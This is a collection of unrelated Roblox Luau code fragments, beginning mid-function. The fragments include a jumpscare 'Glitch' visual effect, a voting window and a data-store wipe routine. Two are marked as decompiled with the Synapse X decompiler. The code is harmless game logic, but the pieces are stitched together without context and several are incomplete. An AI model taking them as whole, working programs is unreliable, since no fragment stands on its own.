end;
else
return;
end;
else
return;
end;
Unlock();
end;
v1.Signal.Fired("World Changed"):Connect(function(p1)
if p1 == "Haunted" then
Setup();
end;
end);
|
-- Gui Elements
|
local PlayerGui = player:FindFirstChild("PlayerGui")
local TopBar = PlayerGui:FindFirstChild("TopBar")
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local l__TweenService__1 = game:GetService("TweenService");
function v1.stuff(p1, p2, p3)
local u2 = p3;
spawn(function()
if p1.dead == true then
return;
end;
if not u2 then
u2 = math.random(1, 500);
end;
u2 = Random.new(u2);
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__PrimaryPart__3 = l__LocalPlayer__2.Character.PrimaryPart;
local v4 = (p1.cam.CFrame.LookVector * Vector3.new(1, 0, 1)).unit * -1;
local l__p__5 = p1.cam.CFrame.p;
l__TweenService__1:Create(p1.cam, TweenInfo.new(0.9, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
CFrame = CFrame.new(l__p__5 + v4 * 2, l__p__5 + v4 * 10)
}):Play();
l__PrimaryPart__3.Anchored = true;
p1.stopcam = true;
p1.hideplayers = 1;
local v6 = game:GetService("ReplicatedStorage").Entities.Glitch:Clone();
local v7 = l__PrimaryPart__3.Position + Vector3.new(0, 7, 0) + v4 * 150;
v6:SetPrimaryPartCFrame(CFrame.new(v7, v7 - v4));
v6.Parent = p1.cam;
v6.Root.SoundHurt:Play();
v6.AnimationController:LoadAnimation(v6.Animations.Run):Play(0);
l__TweenService__1:Create(v6.Root, TweenInfo.new(0.7, Enum.EasingStyle.Linear, Enum.EasingDirection.In), {
CFrame = CFrame.new(v7 - v4 * 140, v7 - v4 * 250)
}):Play();
p1.camShaker:ShakeOnce(4, 15, 1, 1);
p1.camShaker:ShakeOnce(12, 3, 1, 1);
game.Lighting.FogEnd = 1000;
l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(0.9, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), {
FogEnd = 0,
FogStart = 0,
FogColor = Color3.new(0, 0, 0),
Ambient = Color3.new(0, 0, 0)
}):Play();
local u3 = tick() + 2;
task.spawn(function()
local v8 = l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchEffect:Clone();
for v9 = 1, 60 do
for v10 = 1, 8 do
local v11 = v8:Clone();
v11.Name = "FakeGlitchLive";
v11.Position = UDim2.new(math.random(0, 100) / 100, 0, math.random(0, 100) / 100, 0);
v11.Rotation = math.random(0, 1) * 180;
v11.Visible = true;
v11.Parent = l__LocalPlayer__2.PlayerGui.MainUI;
game.Debris:AddItem(v11, math.random(1, 20) / 100);
end;
task.wait(0.016666666666666666);
if u3 <= tick() then
break;
end;
end;
end);
script.Sound:Play();
wait(0.7);
v6.AnimationController:LoadAnimation(v6.Animations.Attack):Play(0);
game.Lighting.Ambience_Glitch.Enabled = true;
task.wait(0.05);
l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchScreen.Visible = true;
task.wait(0.1);
task.wait(1);
l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchScreen.Visible = false;
v6:Destroy();
p1.hideplayers = 0;
l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
FogEnd = game.Lighting.FogEnd,
FogStart = 15,
FogColor = Color3.new(0, 0, 0)
}):Play();
p1.stopcam = false;
l__PrimaryPart__3.Anchored = false;
task.wait(0.05);
game.Lighting.Ambience_Glitch.Enabled = false;
end);
end;
return v1;
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local v1 = {
Name = "Vote",
Title = "Vote",
Size = { 300, 200 },
AllowMultiple = false
};
local u1 = nil;
function v1.OnClose()
if not u1 then
u1 = false;
end;
end;
local v2 = client.UI.Make("Window", v1);
local v3 = v2:Add("TextLabel", {
Text = p1.Question,
TextScaled = true,
TextWrapped = true,
Size = UDim2.new(1, -10, 0, 50),
BackgroundTransparency = 1
});
local v4 = v2:Add("ScrollingFrame", {
Size = UDim2.new(1, -10, 1, -60),
Position = UDim2.new(0, 5, 0, 55)
});
for v5, v6 in next, p1.Answers do
local v7 = {
Text = v5 .. ". " .. v6,
Size = UDim2.new(1, -10, 0, 25),
Position = UDim2.new(0, 5, 0, 25 * (v5 - 1)),
TextXAlignment = "Left"
};
local v8 = {};
function v8.MouseButton1Click()
v2:Close();
u1 = v6;
end;
v7.Events = v8;
v4:Add("TextButton", v7);
end;
v4:ResizeCanvas();
local l__gTable__9 = v2.gTable;
v2:Ready();
while true do
wait();
if u1 then
break;
end;
if not l__gTable__9.Active then
break;
end;
end;
return nil;
end;
|
--[=[
Queues up a wipe of all values. Data must load before it can be wiped.
]=]
|
function DataStoreStage:Wipe()
return self._loadParent:Load(self._loadName, {})
:Then(function(data)
for key, _ in pairs(data) do
if self._stores[key] then
self._stores[key]:Wipe()
else
self:_doStore(key, DataStoreDeleteToken)
end
end
end)
end
function DataStoreStage:Store(name, value)
if self._takenKeys[name] then
error(("[DataStoreStage] - Already have a writer for %q"):format(name))
end
if value == nil then
value = DataStoreDeleteToken
end
self:_doStore(name, value)
end
|
--This script will handle the mouse overs of the gui buttons. When moused over,
--the selection box will change colors.
|
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